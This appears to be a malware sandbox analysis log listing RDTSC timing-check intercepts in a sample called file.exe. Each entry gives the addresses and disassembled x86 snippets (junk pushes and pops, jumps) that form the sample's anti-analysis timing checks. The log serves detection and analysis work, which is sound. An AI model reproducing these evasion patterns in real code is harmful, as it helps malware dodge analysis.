Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4062C2 second address: 4062C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4062C7 second address: 4062CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4062CD second address: 4062D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463660 second address: 463670 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F39B4C7E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463CA1 second address: 463CB8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39B4DF473Ch 0x00000008 push eax 0x00000009 jne 00007F39B4DF4736h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463CB8 second address: 463CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F39B4C7E9C2h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463CD6 second address: 463CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463F6B second address: 463F95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a jbe 00007F39B4C7E9BCh 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F39B4C7E9BCh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463F95 second address: 463F99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 463F99 second address: 463F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464A76 second address: 464A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF4748h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464A92 second address: 464AC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C3h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F39B4C7E9C4h 0x00000011 jo 00007F39B4C7E9B6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464AC8 second address: 464ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464ADC second address: 464B00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F39B4C7E9BFh 0x0000000c jmp 00007F39B4C7E9BEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 464B00 second address: 464B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4652DB second address: 4652EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4C7E9BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46DD4A second address: 46DD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39B4DF473Dh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CE93 second address: 46CEA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F39B4C7E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CEA5 second address: 46CEAF instructions: 0x00000000 rdtsc 0x00000002 js 00007F39B4DF4736h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46CEAF second address: 46CEBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D01C second address: 46D021 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D021 second address: 46D052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F39B4C7E9B6h 0x0000000a pop ebx 0x0000000b jmp 00007F39B4C7E9C7h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jo 00007F39B4C7E9B6h 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D052 second address: 46D05D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D05D second address: 46D071 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D071 second address: 46D090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4DF473Bh 0x00000008 jns 00007F39B4DF4736h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 je 00007F39B4DF473Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D1D5 second address: 46D1ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C0h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D1ED second address: 46D229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F39B4DF4748h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e jmp 00007F39B4DF4745h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D229 second address: 46D22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D7BB second address: 46D7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F39B4DF4741h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4777DF second address: 4777F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F39B4C7E9BEh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475949 second address: 47594D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47594D second address: 475953 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475953 second address: 47598D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F39B4DF4749h 0x0000000c pop edx 0x0000000d push edi 0x0000000e jno 00007F39B4DF4736h 0x00000014 jns 00007F39B4DF4736h 0x0000001a pop edi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jns 00007F39B4DF473Eh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47598D second address: 475993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475993 second address: 475998 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475998 second address: 4759A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DA7 second address: 475DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F39B4DF4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DB3 second address: 475DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DC6 second address: 475DE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F39B4DF473Fh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DE5 second address: 475DEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DEB second address: 475DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 475DF1 second address: 475E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9BBh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4760CD second address: 476114 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F39B4DF4736h 0x00000008 jbe 00007F39B4DF4736h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnl 00007F39B4DF473Ch 0x00000016 jmp 00007F39B4DF4748h 0x0000001b popad 0x0000001c jl 00007F39B4DF475Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F39B4DF473Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476114 second address: 476125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jne 00007F39B4C7E9B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4763F0 second address: 476425 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4749h 0x00000007 push esi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39B4DF4742h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47659D second address: 4765AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9BAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4765AB second address: 4765AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4765AF second address: 4765B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4765B5 second address: 4765BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4765BE second address: 4765C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476751 second address: 476755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 476755 second address: 47675B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47675B second address: 476778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B4DF4745h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477637 second address: 477649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4C7E9BDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477649 second address: 47764F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479A81 second address: 479A9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007F39B4C7E9B6h 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F39B4C7E9BAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479A9D second address: 479AAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4DF473Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47CAAD second address: 47CAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FF16 second address: 47FF39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F39B4DF4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F39B4DF4745h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FF39 second address: 47FF45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F39B4C7E9B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FF45 second address: 47FF64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4748h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F97A second address: 47F99F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F39B4C7E9C5h 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F99F second address: 47F9B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4DF4743h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FAE7 second address: 47FAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FC27 second address: 47FC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FC2D second address: 47FC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B4C7E9C7h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FC4F second address: 47FC53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FC53 second address: 47FC5D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481643 second address: 481648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483ACD second address: 483AD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48ED42 second address: 48ED4C instructions: 0x00000000 rdtsc 0x00000002 js 00007F39B4DF473Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A0F second address: 491A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A13 second address: 491A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F39B4DF4738h 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A28 second address: 491A2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A2E second address: 491A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 491A32 second address: 491A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F39B4C7E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4931F6 second address: 4931FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4931FA second address: 493206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F39B4C7E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4930B9 second address: 4930C7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F39B4DF4738h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3B52 second address: 4A3B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F39B4C7E9BBh 0x00000008 jmp 00007F39B4C7E9C4h 0x0000000d ja 00007F39B4C7E9B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC904 second address: 4AC908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC908 second address: 4AC90E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACBD1 second address: 4ACBDB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F39B4DF4736h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ACD1E second address: 4ACD24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD148 second address: 4AD15A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F39B4DF4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F39B4DF473Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B24FE second address: 4B2504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2504 second address: 4B252F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F39B4DF473Fh 0x0000000d jmp 00007F39B4DF4744h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B252F second address: 4B2535 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B20F0 second address: 4B2114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F39B4DF4736h 0x0000000a jnc 00007F39B4DF4742h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F39B4DF4736h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD72D second address: 4CD75C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F39B4C7E9C3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F39B4C7E9C2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD75C second address: 4CD760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD760 second address: 4CD77D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F39B4C7E9B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39B4C7E9BFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD77D second address: 4CD786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9CE3 second address: 4E9CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9CEC second address: 4E9CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9CF2 second address: 4E9CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9CF8 second address: 4E9D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4747h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F39B4DF473Dh 0x0000000e jmp 00007F39B4DF473Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9D2D second address: 4E9D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
